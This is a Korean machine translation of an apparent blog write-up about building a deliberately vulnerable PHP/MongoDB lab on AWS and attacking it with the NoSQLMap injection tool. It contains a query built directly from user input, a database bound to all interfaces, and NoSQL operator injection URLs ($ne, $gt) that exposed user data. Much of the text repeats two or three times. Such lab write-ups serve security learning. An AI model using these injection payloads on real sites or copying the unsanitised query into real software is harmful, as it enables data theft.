NoSQLMap을 사용해보십시오.
개요
NoSQLMap이라는 MongoDB 등 NOSQL의 데이터베이스 인젝션 툴을 시험하고 싶어졌으므로, 사이버 보안 완전 가이드 (주 1)를 참고로 환경을 작성했습니다.
이 책과의 본 환경의 차이는, Ubuntu가 아니라 CentOS에서 환경 구축한 점과 침입 테스트용 웹 어플리케이션으로 이용되고 있던 PHP 확장 모듈 MongoClient 클래스가 비추천이어서 MongoDB\Driver\Manager를 이용해 프로그램을 미수정한 점입니다.
환경 준비
사전 준비
사전에 다음을 실시하고 있습니다.
· AWS 및 DockerHub 계정 생성
· 작업 기계 (kali)에 docker-machine, git 설치
※ 상기에 대해서는 (주 2)에서 설정합니다.
Docker 이미지 만들기
· 작업 기계에서 Base Dock 컨테이너 시작
$ sudo docker pull centos:centos6.10
$ sudo docker run -it centos:centos6.10
· 컨테이너에서 MongoDB 이외의 패키지 다운로드 및 설치
# yum install epel-release
# rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
# yum -y --enablerepo=epel --enablerepo=remi --enablerepo=remi-php56 install php php-devel php-pear httpd
# pecl install mongo
· php.ini에 다음 설정 추가
/etc/php.iniextension=mongo.so
· MongoDB 설치를 위해 Yum 리포지토리 설정
/etc/yum.repos.d/mongodb-org-4.2.repo[mongodb-org-4.2]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/4.2/x86_64/
gpgcheck=1
enabled=1
gpgkey=https://www.mongodb.org/static/pgp/server-4.2.asc
· MongoDB 설치
# yum -y install mongodb-org
· mongodb.conf에 다음 설정
/etc/mongodb.confbindIp: 0.0.0.0
· MongoDB를 시작하고 테스트 용 DB 만들기
# /etc/init.d/mongod start
# mongo
> use appUserData
switched to db appUserData
> db.createCollection("users")
{ "ok" : 1 }
> show collections
users
> db.users.insert({"name":"james","username":"james","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({"name":"frank","username":"frank","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({"name":"paul","username":"paul","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> exit
bye
· 테스트용 웹 애플리케이션 설치
# git clone https://github.com/cheetz/NoSQL_Test.git /opt/NoSQL_Test
# mkdir /var/www/vuln_apps
# mv /opt/NoSQL_Test/userdata.php /var/www/vuln_apps/
· userdata.php 수정
userdata.php<!DOCTYPE html>
<html>
<head>
<title>User Profile Lookup</title>
</head>
<body>
<?php
if (isset($_GET['usersearch']) && !empty($_GET['usersearch'])) {
try {
$result = "";
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$filter = ['username' => $_GET['usersearch']];
print '<br/>';
$query = new MongoDB\Driver\Query($filter);
$res = $manager->executeQuery('appUserData.users', $query);
$user = current($res->toArray());
if (!empty($user)) {
echo 'Name: ' . $user->name . '<br/>';
echo 'Username: ' . $user->username . '<br/>';
echo 'Email: ' . $user->email . '<br/>';
} else {
echo "User not found.";
}
echo '<br/>';
} catch (MongoConnectionException $e) {
die('Error connecting to MongoDB server : ' . $e->getMessage());
} catch (MongoException $e) {
die('Error: ' . $e->getMessage());
}
}
?>
<b>Enter your username:</b><br>
<form method="get" id="usersearch">
<p>Search <input type="text" name="usersearch" id="usersearch" /> <input type="submit" name="submitbutton" value="Submit" /></p>
</form>
</body>
</html>
· Apache 시작
# /etc/init.d/httpd start
· 작업 기계의 Docker 이미지를 DockerHub에 업로드
// Dockerイメージを作成
$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9fe6f5113480 contos6.10:mongo "/bin/bash" 40 hours ago Up 40 hours 0.0.0.0:8080->80/tcp naughty_bartik
$ sudo docker commit -m "NoSQLMap TEST" 9fe6f5113480 stcmjp/centos6.10_mongo4.2.6
// DockerHubにログインしPUSH
$ sudo docker login
$ sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
stcmjp/centos6.10_mongo4.2.6 latest 49832a177ef7 40 seconds ago 1.8GB
$ sudo docker push stcmjp/centos6.10_mongo4.2.6:latest
· AWS의 EC2에 Docker 컨테이너 생성
// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)
// インスタンスを確認
$ docker-machine ls
NAME ACTIVE DRIVER STATE URL SWARM DOCKER ERRORS
aws-sandbox * amazonec2 Running tcp://18.177.XXX.XXX:2376 v19.03.8
// インスタンス上にDockerイメージを取得しコンテナを生成
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name nosqlmap stcmjp/centos6.10_mongo4.2.6
// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox
// Dockerイメージとコンテナの状態を確認
ubuntu@aws-sandbox:~$ sudo su -
root@aws-sandbox:~# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
stcmjp/centos6.10_mongo4.2.6 latest 49832a177ef7 21 minutes ago 1.8GB
root@aws-sandbox:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6b25e095bc22 stcmjp/centos6.10_mongo4.2.6 "/bin/bash" 6 minutes ago Exited (0) 6 minutes ago nosqlmap
// インスタンス上でコンテナを起動
root@aws-sandbox:~# docker run -i -t -p 8888:80 -t stcmjp/centos6.10_mongo4.2.6 /bin/bash
// コンテナでMongoDBとApacheを起動
[root@f1e1ce1e5b7c /]# /etc/init.d/mongod start
[root@f1e1ce1e5b7c /]# /etc/init.d/httpd start
※이미지 작성시에 MongoDB의 정지를 잊었으므로/var/run/mongodb/mongod.pid 파일의 삭제하고 있습니다.
침입 테스트
NoSQLMap
· NoSQLMap 시작
// 作業マシンにNoSQLMapをダウンロードして起動する
# git clone https://github.com/tcstool/NoSQLMap.git /opt/NoSQL
# cd /opt/NoSQL
# python nosqlmap.py
※ 기동하면 이하의 용으로 인터랙티브 인터페이스가 표시됩니다.
· 옵션 설정
1을 입력하고 "1-Set options"를 선택합니다.
(이하 설정 샘플입니다)
Options
1-Set target host/IP (Current: 18.177.XXX.XXX)
2-Set web app port (Current: 8888)
3-Set App Path (Current: /vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit)
4-Toggle HTTPS (Current: OFF)
5-Set MongoDB Port (Current : 27017)
6-Set HTTP Request Method (GET/POST) (Current: GET)
7-Set my local MongoDB/Shell IP (Current: 192.168.XXX.XXX)
8-Set shell listener port (Current: 4444)
9-Toggle Verbose Mode: (Current: OFF)
0-Load options file
a-Load options from saved Burp request
b-Save options file
h-Set headers
x-Back to main menu
· NoSQL Web App attacks 선택
3을 입력하고 3-NoSQL Web App attacks를 선택합니다.
(이하 설정 샘플입니다)
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 3
Web App Attacks (GET)
===============
Checking to see if site at 18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit is up...
App is up!
· 이하 공격용 옵션 설정
사전 준비
사전에 다음을 실시하고 있습니다.
· AWS 및 DockerHub 계정 생성
· 작업 기계 (kali)에 docker-machine, git 설치
※ 상기에 대해서는 (주 2)에서 설정합니다.
Docker 이미지 만들기
· 작업 기계에서 Base Dock 컨테이너 시작
$ sudo docker pull centos:centos6.10
$ sudo docker run -it centos:centos6.10
· 컨테이너에서 MongoDB 이외의 패키지 다운로드 및 설치
# yum install epel-release
# rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
# yum -y --enablerepo=epel --enablerepo=remi --enablerepo=remi-php56 install php php-devel php-pear httpd
# pecl install mongo
· php.ini에 다음 설정 추가
/etc/php.ini
extension=mongo.so
· MongoDB 설치를 위해 Yum 리포지토리 설정
/etc/yum.repos.d/mongodb-org-4.2.repo
[mongodb-org-4.2]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/4.2/x86_64/
gpgcheck=1
enabled=1
gpgkey=https://www.mongodb.org/static/pgp/server-4.2.asc
· MongoDB 설치
# yum -y install mongodb-org
· mongodb.conf에 다음 설정
/etc/mongodb.conf
bindIp: 0.0.0.0
· MongoDB를 시작하고 테스트 용 DB 만들기
# /etc/init.d/mongod start
# mongo
> use appUserData
switched to db appUserData
> db.createCollection("users")
{ "ok" : 1 }
> show collections
users
> db.users.insert({"name":"james","username":"james","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({"name":"frank","username":"frank","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({"name":"paul","username":"paul","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> exit
bye
· 테스트용 웹 애플리케이션 설치
# git clone https://github.com/cheetz/NoSQL_Test.git /opt/NoSQL_Test
# mkdir /var/www/vuln_apps
# mv /opt/NoSQL_Test/userdata.php /var/www/vuln_apps/
· userdata.php 수정
userdata.php
<!DOCTYPE html>
<html>
<head>
<title>User Profile Lookup</title>
</head>
<body>
<?php
if (isset($_GET['usersearch']) && !empty($_GET['usersearch'])) {
try {
$result = "";
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$filter = ['username' => $_GET['usersearch']];
print '<br/>';
$query = new MongoDB\Driver\Query($filter);
$res = $manager->executeQuery('appUserData.users', $query);
$user = current($res->toArray());
if (!empty($user)) {
echo 'Name: ' . $user->name . '<br/>';
echo 'Username: ' . $user->username . '<br/>';
echo 'Email: ' . $user->email . '<br/>';
} else {
echo "User not found.";
}
echo '<br/>';
} catch (MongoConnectionException $e) {
die('Error connecting to MongoDB server : ' . $e->getMessage());
} catch (MongoException $e) {
die('Error: ' . $e->getMessage());
}
}
?>
<b>Enter your username:</b><br>
<form method="get" id="usersearch">
<p>Search <input type="text" name="usersearch" id="usersearch" /> <input type="submit" name="submitbutton" value="Submit" /></p>
</form>
</body>
</html>
· Apache 시작
# /etc/init.d/httpd start
· 작업 기계의 Docker 이미지를 DockerHub에 업로드
// Dockerイメージを作成
$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9fe6f5113480 contos6.10:mongo "/bin/bash" 40 hours ago Up 40 hours 0.0.0.0:8080->80/tcp naughty_bartik
$ sudo docker commit -m "NoSQLMap TEST" 9fe6f5113480 stcmjp/centos6.10_mongo4.2.6
// DockerHubにログインしPUSH
$ sudo docker login
$ sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
stcmjp/centos6.10_mongo4.2.6 latest 49832a177ef7 40 seconds ago 1.8GB
$ sudo docker push stcmjp/centos6.10_mongo4.2.6:latest
· AWS의 EC2에 Docker 컨테이너 생성
// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)
// インスタンスを確認
$ docker-machine ls
NAME ACTIVE DRIVER STATE URL SWARM DOCKER ERRORS
aws-sandbox * amazonec2 Running tcp://18.177.XXX.XXX:2376 v19.03.8
// インスタンス上にDockerイメージを取得しコンテナを生成
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name nosqlmap stcmjp/centos6.10_mongo4.2.6
// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox
// Dockerイメージとコンテナの状態を確認
ubuntu@aws-sandbox:~$ sudo su -
root@aws-sandbox:~# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
stcmjp/centos6.10_mongo4.2.6 latest 49832a177ef7 21 minutes ago 1.8GB
root@aws-sandbox:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6b25e095bc22 stcmjp/centos6.10_mongo4.2.6 "/bin/bash" 6 minutes ago Exited (0) 6 minutes ago nosqlmap
// インスタンス上でコンテナを起動
root@aws-sandbox:~# docker run -i -t -p 8888:80 -t stcmjp/centos6.10_mongo4.2.6 /bin/bash
// コンテナでMongoDBとApacheを起動
[root@f1e1ce1e5b7c /]# /etc/init.d/mongod start
[root@f1e1ce1e5b7c /]# /etc/init.d/httpd start
※이미지 작성시에 MongoDB의 정지를 잊었으므로/var/run/mongodb/mongod.pid 파일의 삭제하고 있습니다.
침입 테스트
NoSQLMap
· NoSQLMap 시작
// 作業マシンにNoSQLMapをダウンロードして起動する
# git clone https://github.com/tcstool/NoSQLMap.git /opt/NoSQL
# cd /opt/NoSQL
# python nosqlmap.py
※ 기동하면 이하의 용으로 인터랙티브 인터페이스가 표시됩니다.
· 옵션 설정
1을 입력하고 "1-Set options"를 선택합니다.
(이하 설정 샘플입니다)
Options
1-Set target host/IP (Current: 18.177.XXX.XXX)
2-Set web app port (Current: 8888)
3-Set App Path (Current: /vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit)
4-Toggle HTTPS (Current: OFF)
5-Set MongoDB Port (Current : 27017)
6-Set HTTP Request Method (GET/POST) (Current: GET)
7-Set my local MongoDB/Shell IP (Current: 192.168.XXX.XXX)
8-Set shell listener port (Current: 4444)
9-Toggle Verbose Mode: (Current: OFF)
0-Load options file
a-Load options from saved Burp request
b-Save options file
h-Set headers
x-Back to main menu
· NoSQL Web App attacks 선택
3을 입력하고 3-NoSQL Web App attacks를 선택합니다.
(이하 설정 샘플입니다)
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 3
Web App Attacks (GET)
===============
Checking to see if site at 18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit is up...
App is up!
· 이하 공격용 옵션 설정
// 作業マシンにNoSQLMapをダウンロードして起動する
# git clone https://github.com/tcstool/NoSQLMap.git /opt/NoSQL
# cd /opt/NoSQL
# python nosqlmap.py
Options
1-Set target host/IP (Current: 18.177.XXX.XXX)
2-Set web app port (Current: 8888)
3-Set App Path (Current: /vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit)
4-Toggle HTTPS (Current: OFF)
5-Set MongoDB Port (Current : 27017)
6-Set HTTP Request Method (GET/POST) (Current: GET)
7-Set my local MongoDB/Shell IP (Current: 192.168.XXX.XXX)
8-Set shell listener port (Current: 4444)
9-Toggle Verbose Mode: (Current: OFF)
0-Load options file
a-Load options from saved Burp request
b-Save options file
h-Set headers
x-Back to main menu
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 3
Web App Attacks (GET)
===============
Checking to see if site at 18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit is up...
App is up!
(이하 설정 샘플입니다)
Baseline test-Enter random string size: 5
What format should the random string take?
1-Alphanumeric
2-Letters only
3-Numbers only
4-Email address
Select an option: 1
Using WwFgn for injection testing.
List of parameters:
1-usersearch
2-submitbutton
Enter parameters to inject in a comma separated list: 1
・출력 결과
Vulnerable URLs:
Possibly vulnerable URLs:
http://18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch%5B%24ne%5D%3DWwFgn%26submitbutton%3DSubmit
http://18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch%5B%24gt%5D%3D%26submitbutton%3DSubmit
위의 Vulnerable URL 중 하나를 WEB 브라우저에 입력하면 james 사용자의 데이터가 표시되었습니다.
편집 후기
1 유저만의 열거가 되어 버렸습니다만, 시간이 있으면 더 낯선 웹 어플리케이션을 준비하고 싶은 곳입니다.
참조
주1 사이버 보안 테스트 완전 가이드
참고 2 AWS에서 Apache Killer를 사용해보십시오.
Reference
이 문제에 관하여(NoSQLMap을 사용해보십시오.), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/stcmjp/items/c6d4fc3a83970a417488
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
주1 사이버 보안 테스트 완전 가이드
참고 2 AWS에서 Apache Killer를 사용해보십시오.
Reference
이 문제에 관하여(NoSQLMap을 사용해보십시오.), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/stcmjp/items/c6d4fc3a83970a417488텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)